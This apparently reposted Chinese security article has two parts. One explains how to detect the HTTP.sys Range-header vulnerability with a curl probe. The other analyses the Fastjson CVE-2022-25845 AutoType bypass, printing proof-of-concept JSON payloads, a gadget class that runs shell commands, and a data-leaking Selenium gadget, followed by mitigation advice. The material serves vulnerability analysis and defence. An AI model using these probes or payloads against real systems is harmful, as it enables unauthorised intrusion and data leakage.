在请求报文的Range首部字段中指定资源的byte范围,告诉服务器,请求的是资源哪个范围的内容,让断点续传和并行下载得以实现。

如果服务器支持范围请求,响应包中就会存在Accept-Ranges字段(且值不为“none”,bytes为资源范围的单位),并在Content-Length字段中告诉客户端资源的大小范围。

image

如果没有Accept-Ranges字段,则服务器可能不支持范围请求,有的服务器会明确将值设为“none”。

服务器面对范围请求,有三种响应:

请求成功:

响应206Partial Content请求范围越界:(范围超过资源的大小)

响应416Requested Range Not Satisfiable不支持范围请求:

响应200OK

而HTTP.sys远程代码执行漏洞正是利用Range字段注入恶意数据。该漏洞的检测,也是利用服务器面对范围请求时的响应特征来判断。

漏洞检测方法

1、先判断目标环境是否为Windows+IIS

2、然后构建Range字段进行检测即可

检测时,在请求包中添加Range字段,如下:

Range: bytes=0-18446744073709551615

【18446744073709551615的十六进制为0xFFFFFFFFFFFFFFFF(16个F)是64位无符号整数所能表达的最大整数,整数溢出和这个超大整数有关】

然后go给服务器

1
2
3
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

或者:

1
curl -v www.test.com -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

服务器响应 400,证明不存在HTTP.sys远程代码执行漏洞

HTTP Error 400. The request has an invalid header name.

服务器响应 416,则证明存在该漏洞

1
2
3
4
5
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Thu, 22 Aug 2013 23:53:12 GMT
Accept-Ranges: bytes
ETag: "2edebc2929fce1:0"

漏洞修复建议:

升级安全补丁

CVE-2022-25845 – Fastjson

CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文转自vayci

前言

几周前, Fastjson 发布了一个新版本 (1.2.83) ,其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章,攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制,完成远程代码执行。

这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845,以及高达8.1的CVSS漏洞评分。尽管如此,这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞(将近5000个Maven项目都存在Fastjson依赖!),却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞,又是在什么条件下容易被攻击?

在本篇文章中,我们深入研究了这个Fastjson漏洞的严重性,以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。

哪些情况会受到CVE-2022-25845漏洞的影响?

所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法,但不指定要反序列化的特定类,都会受此漏洞的影响。

image

虽然看起来很宽泛,但是我们可以发现,在这些前提条件下,攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget(继承Throwable类的gadget类),这大大限制了这个漏洞的实际影响。

技术深入探究

Fastjson 是一个 Java 库,可以将 Java 对象序列化和反序列化,实现Java对象和JSON的相互转换。

和大多数 JSON 类一样,Fastjson 支持将基本 JSON 类型(数组和对象)分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。

然而,Fastjson也可以将用户的Java对象(POJO)序列化为JSON,或从JSON反序列化为Java对象。

例如,我们定义了一个名为User的类,以下代码时将其进行序列化为JSON,然后再进行反序列化。

1
2
3
4
5
6
7
8
9
public class App
{
public static void main( String[] args )
{
...
String jsonString = JSON.toJSONString(user);
User user2 = JSON.parseObject(jsonString, User.class);
}
}

JSON.parseObject()返回一个 JSONObject 对象, 然后这个对象又转换为User类。

有时候,开发人员想要更灵活的代码来接收序列化的JSON,告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
    "users": [
{
"@type": "AdminUser",
"username": "admin",
"password": "21232f297a57a5a743894a0e4a801fc3"
},
{
"@type": "GuestUser",
"username": "guest",
"password": ""
}
]
}

Fastjson 支持一个名为“AutoType”的功能。启用该功能后,可以为每个用户entry引入类型。开发人员只需要调用如下代码:

1
2
3
4
JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是,如果反序列化的JSON是用户可以控制的,则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类,并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用,并且例如ysoserial之类的框架就存在这里攻击手段的风险(Java的“gadget”类)。

因此,Fastjson的开发者选择默认禁用了AutoType功能,这应该能够安全地解析人员JSON数据了。但是,AutoType的机制比这复杂得多…

绕过 AutoType 默认禁用策略

当JSON.parseObject()被调用时,它最终会调用到 DefaultJSONParser.parseObject(),并且传入参数 object 为 JSONObject,fieldName 为 null。当这个方法遇到“@type”这个符号(JSON.DEFAULT_TYPE_KEY)时,就会调用config.checkAutoType:

1
2
3
4
5
6
7
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');

if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}

最终,在所有flag都是默认的情况下,代码会调用至config.checkAutoType()。在这里,我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (expectClass == null) {
expectClassFlag = false;
} else {
long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
if (expectHash == 0x90a25f5baa21529eL
|| expectHash == 0x2d10a5801b9d6136L
|| expectHash == 0xaf586a571e302c6bL
|| expectHash == 0xed007300a7b227c6L
|| expectHash == 0x295c4605fd1eaa95L
|| expectHash == 0x47ef269aadc650b4L
|| expectHash == 0x6439c4dff712ae8bL
|| expectHash == 0xe3dd9875a2dc5283L
|| expectHash == 0xe2a8ddba03e69e0dL
|| expectHash == 0xd734ceb4c3e9d1daL
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}

这些被Ban的类是以下这些:

  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。

最后,代码将尝试找到一个反序列化器deserializer,用来对这个已经被JSON序列化的类进行反序列化。

1
2
3
4
5
6
7
8
9
10
ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
&& deserClass != JavaBeanDeserializer.class
&& deserClass != ThrowableDeserializer.class) {
this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

在 ParserConfig.getDeserializer()内部,有一个关键检查,用于验证目标类是否继承了 Throwable 类:

1
2
} else if (Throwable.class.isAssignableFrom(clazz)) {
deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”,它将使用 autoTypeCheck()检查并继续正常反序列化:

1
2
3
4
if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
if (lexer.token() == JSONToken.LITERAL_STRING) {
String exClassName = lexer.stringVal();
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,漏洞的核心在于 ,只要目标类继承自 Throwable 类,Fastjson便可以反序列化为任意类!

在这种情况下,负责创建反序列化类的函数是 createException(),它处理了 3 种不同类型的构造函数。一个没有任何参数,一个带有异常消息的参数,一个带有异常消息和异常原因参数。在此之后,它将先尝试调用更为复杂的构造函数(causeConstructor、messageConstructor 和 defaultConstructor):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
Constructor<?> defaultConstructor = null;
Constructor<?> messageConstructor = null;
Constructor<?> causeConstructor = null;
for (Constructor<?> constructor : exClass.getConstructors()) {
Class<?>[] types = constructor.getParameterTypes();
if (types.length == 0) {
defaultConstructor = constructor;
continue;
}

if (types.length == 1 && types[0] == String.class) {
messageConstructor = constructor;
continue;
}

if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
causeConstructor = constructor;
continue;
}
}

if (causeConstructor != null) {
return (Throwable) causeConstructor.newInstance(message, cause);
}

if (messageConstructor != null) {
return (Throwable) messageConstructor.newInstance(message);
}

if (defaultConstructor != null) {
return (Throwable) defaultConstructor.newInstance();
}

作为类实例化的一步,还会为每个相关成员变量调用一个 setter方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
if (otherValues != null) {
JavaBeanDeserializer exBeanDeser = null;

if (exClass != null) {
if (exClass == clazz) {
exBeanDeser = this;
} else {
ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
if (exDeser instanceof JavaBeanDeserializer) {
exBeanDeser = (JavaBeanDeserializer) exDeser;
}
}
}

if (exBeanDeser != null) {
for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
String key = entry.getKey();
Object value = entry.getValue();

FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
if (fieldDeserializer != null) {
FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
if (!fieldInfo.fieldClass.isInstance(value)) {
value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
}
fieldDeserializer.setValue(ex, value);
}
}
}
}

怎么利用 CVE-2022-25845 漏洞?

在了解了AutoType 机制中的上述“漏洞”之后,让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。

由 YoungBear 发布的漏洞利用方案,通过传入这个JSON可以运行任意系统操作命令。

1
2
3
4
5
{
"@type": "java.lang.Exception",
"@type": "com.example.fastjson.poc20220523.Poc20220523",
"name": "calc"
}

这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
* @author youngbear
* @email youngbear@aliyun.com
* @date 2022/5/29 8:28
* @blog https://blog.csdn.net/next_second
* @github https://github.com/YoungBear
* @description POC类:需要代码中有该类
*/
public class Poc20220523 extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}

当反序列化执行到上面这一段JSON时,Poc20220523这个类就创建了,并且提供name参数是通过自动调用setter方法。

如代码所示,这将最终调用包含 str = “calc”的恶意 setName() setter 函数:

1
2
3
4
5
6
7
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}

这部分的实际代码内容为打开windows计算器:

image

这个漏洞利用方案显然只是一个演示,因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。

现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用?即继承自Exception或Throwable,并且存在相关的构造函数或者setter方法,可能会造成实际安全影响的Java类。

目前,有一个兼容的gadget类(来自 Selenium 库)已经在被发布了。它会导致非常低影响的数据泄漏:

1
2
3
4
5
6
7
8
9
{
"x":{
"@type":"java.lang.Exception",
"@type":"org.openqa.selenium.WebDriverException"
},
"y":{
"$ref":"$x.systemInformation"
}
}

反序列化这个 JSON 最终会创建一个 HashMap,其中“y”值为有关机器的一些基本信息:

1
"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根据应用程序的不同,这些信息最终可能会被存储或发送给攻击者(例如,它可能被写入可远程访问日志)。

在检查了 ysoserial 等其他知名来源后,我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此,想要利用这个漏洞进行实际攻击的黑客,需要对被共计的Java应用服务器进行深入研究,以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable,并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。

总而言之,我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大(远程代码执行)的公共PoC漏洞可利用,并且攻击的条件并不是甚微(将不受信任的输入数据传递给特定易受攻击的 API)。最重要的是,必须找到一个合适的gadget类(或许由于一些不太可能的属性根本不存在)来突破特定被攻击的目标。

如何完全修复 CVE-2022-25845?

要完全修复 CVE-2022-25845,我们建议将 Fastjson 升级到最新版本,目前为 1.2.83。

如何降低 CVE-2022-25845 风险?

启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。

可以通过执行以下任何一种操作来开启Safe Mode:

1.通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
2.通过JVM启动参数配置 -Dfastjson.parser.safeMode=true
3.通过Fastjson的配置文件配置项 fastjson.parser.safeMode=true